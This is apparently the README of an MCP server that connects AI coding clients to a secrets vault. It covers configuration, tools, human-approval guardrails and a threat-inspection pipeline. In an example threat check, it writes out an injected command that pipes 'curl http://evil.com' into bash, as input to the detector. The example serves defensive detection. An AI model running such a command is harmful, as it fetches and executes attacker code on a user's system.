@1claw/mcp

⭐ Star 1clawAI/agent-templates — ready-to-run agent templates wired to 1Claw. It is our single starred repo.

Connect Cursor, Claude Desktop, VS Code, or any MCP client to your 1claw vault. The server exposes tools for secrets, signing, execution bindings, memory, automations, and more. Values are fetched at call time and are not cached in the model's context beyond the moment they are used.

Most teams use this instead of copying API keys into agent prompts or MCP config files. You register an agent, grant policy access to specific secret paths, and point the client at mcp.1claw.co or a local stdio process. The server handles JWT exchange and refresh from a single ocv_ key.

Local-only mode: Run without vault credentials for the security inspection tools only (e.g. inspect_content). Useful with Ollama or LM Studio when you want injection detection without a 1claw account.

Local daemon mode: Point at the local 1claw daemon (ONECLAW_LOCAL_VAULT=true) so secrets never leave your machine. The daemon injects credentials into outbound HTTP requests; the model never sees the raw value.

API contract: Vault tools use the REST API from @1claw/openapi-spec. LLM traffic through Shroud is separate: agents call https://shroud.1claw.co with X-Shroud-Agent-Key and X-Shroud-Provider (required; e.g. openai). When the MCP server exchanges an agent API key for a JWT, that token may carry shroud_config for Shroud's PolicyEngine; MCP itself does not proxy LLM requests.

Transport Modes

The server supports two transport modes:

Set MCP_TRANSPORT=httpStream and PORT=8080 to run in hosted mode.

stdio and environment: The server does not cache a single vault client for the whole process. Each tool invocation builds a OneClawClient from the current process.env (ONECLAW_AGENT_API_KEY, ONECLAW_VAULT_ID, etc.), so changing env vars (or vault binding) takes effect on the next call without restarting the MCP process.

Agent environment auto-resolve (v0.52): When an agent is tagged with environment and env_auto_resolve: true, the resolve_env tool can omit environment and the Vault API uses the agent's tag from the JWT. Org setting env.enforce_agent_environment_scope blocks agents from resolving vars outside their tagged environment.

Policy engine v0.53: Access policies support policy_schema_version: 2 with expression-based tx_conditions.expression (mini DSL), expanded control-plane action_kind_in consensus triggers, and multi-chain deep decode (Solana, Bitcoin, Tron) for signing-time policy evaluation. TEE attestation is available at GET https://shroud.1claw.co/v1/shroud/attestation (returns attestation_level: none | identity | confidential | sev_snp plus confidential_claims); audit chain verification at GET /v1/audit/verify.

Graduated HITL (v0.54–0.55): Agent guardrail fields include tx_approval_policy (graduated tx thresholds → 202 awaiting_approval), typed_data_policy, simulation_failure_policy, and raw_signing_policy (deny or route to HITL via approve). Extended v0.55 fields: tx_block_unlimited_approvals, per-recipient limits, USD caps, allow_erc4337, allow_eip7702. Humans approve via dashboard or API; org freeze at POST /v1/org/freeze.

Guardrail governance & Safe (v0.56–0.57): Convention 6 execution shadow/enforce; shadow report, revisions, replay; address screening; guardrail widening approvals (202); agent Safe accounts + module registry MCP tools (list_agent_accounts, migrate_agent_to_safe, get_guardrail_shadow_report, etc.). See package README tool table.

Installation (local / stdio)

Homebrew (macOS / Linux)

brew install 1clawAI/tap/1claw-mcp

From source

cd packages/mcp
pnpm install
pnpm run build

Environment Variables

* For stdio, set ONECLAW_AGENT_API_KEY (recommended — auto-discovers agent ID and vault, handles token refresh). Alternatively, set ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID for static JWT auth. Not needed when ONECLAW_LOCAL_ONLY=true or ONECLAW_LOCAL_VAULT=true.

Tools

The server exposes 138 tools when vault credentials are configured (add proxy_request in local daemon mode). inspect_content also runs in ONECLAW_LOCAL_ONLY=true mode without vault credentials. Also includes the vault://secrets resource.

Binding credential sources: The create_binding tool accepts an optional credential_source parameter with two modes:

• { "type": "inline", "value": { "token": "..." } } — the credential is stored in __agent-keys (default behavior, same as using credential).
• { "type": "vault_ref", "vault_id": "<uuid>", "path": "secrets/api-key" } — a live pointer to an existing vault secret. The credential is resolved at execution time and always uses the latest version. Useful for secrets that rotate independently or are shared across bindings.

Treasury wallets (POST /v1/treasury/wallets/generate, GET .../wallets, etc.) are human-only endpoints and are not exposed as MCP tools. Agents cannot generate or manage treasury wallets. Human users manage treasury wallets via the dashboard, CLI (1claw treasury), or SDK (client.treasuryWallets).

Resources

Configuration

Hosted (mcp.1claw.co)

For MCP clients that support remote servers with HTTP streaming. Pass your agent API key as a Bearer token — the server exchanges it for a JWT, auto-discovers the agent ID and vault, and handles refresh.

{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.co/mcp",
            "headers": {
                "Authorization": "Bearer ocv_your_agent_api_key"
            }
        }
    }
}

The server accepts ocv_ API keys directly as Bearer tokens — no manual JWT exchange needed. Vault is auto-discovered from the token response.

Claude Desktop (local stdio)

Add to ~/Library/Application Support/Claude/claude_desktop_config.json. Only ONECLAW_AGENT_API_KEY is needed — the server auto-discovers the agent ID and vault, and handles JWT refresh.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Cursor (local stdio)

Add to .cursor/mcp.json in your project root. Same key-only auth — agent ID and vault are auto-discovered.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Local-only mode (no vault credentials)

For users running local models who only need security inspection. No 1claw account required.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}

In this mode only the inspect_content tool is available. Vault, secret, and transaction tools are not registered.

Local daemon mode (no cloud, zero-knowledge proxy)

Connect to the local 1claw daemon. The model gets list_secrets (names only) and proxy_request (inject a secret into an HTTP call without exposing the value). Set up with 1claw setup --local.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_VAULT": "true"
            }
        }
    }
}

In this mode the model never sees secret values. It asks the daemon to make API calls on its behalf, and the daemon injects the secret per your policy. See 1claw daemon --help for policy management.

Example: Checking LLM Output for Threats

Call the inspect_content tool with any text to get a threat analysis:

{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}

Response:

{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}

Verdicts: clean (no threats) or malicious (critical threat detected — e.g. command injection, social engineering, critical PII, or critical network threat).

Example Workflow (Vault)

1. Discover — call list_secrets to see what credentials are available.
2. Check — call describe_secret with path api-keys/stripe to verify it exists and hasn't expired.
3. Fetch — call get_secret with path api-keys/stripe to get the decrypted value.
4. Use — pass the value into your API call.
5. Forget — do not store the value in summaries, logs, or memory.

Deployment

The MCP server auto-deploys to Cloud Run on push to main (when packages/mcp/** changes). See .github/workflows/deploy-mcp.yml.

Infrastructure is managed via Terraform in infra/. Set mcp_domain = "mcp.1claw.co" in your terraform.tfvars to configure the custom domain.

Development

# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect

Security

• Values are never logged. get_secret logs only "secret accessed: <path>".
• Secrets are fetched just-in-time. They exist in the agent's context only for the duration of a single tool call.
• Per-session auth in hosted mode. Each HTTP streaming connection authenticates independently via headers. No shared state between sessions.
• Token scoping. Use the 1claw dashboard to create agent tokens with the minimum permissions needed. Restrict by vault, path prefix, or action.
• No hardcoded credentials. All auth is via environment variables (stdio) or headers (httpStream).
• 410/404 handling. Expired or missing secrets surface clear error messages rather than raw HTTP codes.

Security inspection pipeline

All tool calls pass through an inspection pipeline before execution and after results are returned. The pipeline runs by default and is configurable via environment variables.

Input inspection (before tool execution):

1. Unicode normalization — Strips zero-width characters, replaces Cyrillic/Greek homoglyphs.
2. Threat detection — Command injection, encoding obfuscation, social engineering, network threats.
3. PII detection — Emails, SSNs, credit card numbers, phone numbers, AWS keys, private key headers.
4. Exfiltration protection — Blocks or warns when a previously fetched secret value appears in a non-secret tool's input (e.g., an agent trying to send a secret to an external URL).

Output inspection (after tool execution):

1. Threat detection — Same patterns as input.
2. PII detection — Same patterns as input.
3. Secret redaction — Tracks every secret value fetched via get_secret or get_env_bundle. If a known secret appears in the output of a non-secret tool (e.g., list_vaults, grant_access), the value is replaced with an opaque token like [REDACTED:#a1b2c3d4] (SHA-256 prefix, no path disclosure) before it reaches the LLM context window.

Security environment variables

Shroud advanced security

When an agent has shroud_enabled: true, its JWT carries a shroud_config payload that configures Shroud's server-side PolicyEngine. These features run inside the TEE on LLM traffic routed through shroud.1claw.co and are independent of the MCP inspection pipeline above:

• Tool call inspection — Validates tool calls emitted by the LLM against allowed/denied patterns.
• Output policies — Enforces response-level rules (e.g. block certain content categories, length limits).
• Secret injection detection — Detects when an LLM attempts to inject or exfiltrate secret values in its responses.
• Semantic policy — Context-aware policy rules evaluated against the full conversation (beyond regex patterns).
• Advanced redaction — Server-side secret redaction with configurable scope and granularity.

Configure these via the agent's shroud_config JSON in the dashboard, SDK (CreateAgentRequest.shroud_config), or CLI (agent update). See the Shroud documentation for the full shroud_config schema.

MCP Registry

This package is registered as io.github.1clawAI/1claw-mcp on the MCP Registry. Publishing uses the "Publish to MCP Registry" workflow on 1clawAI/1claw-mcp (GitHub OIDC).

npm: @1claw/mcp v0.59.2 — MCP Registry: io.github.1clawAI/1claw-mcp @ 0.59.2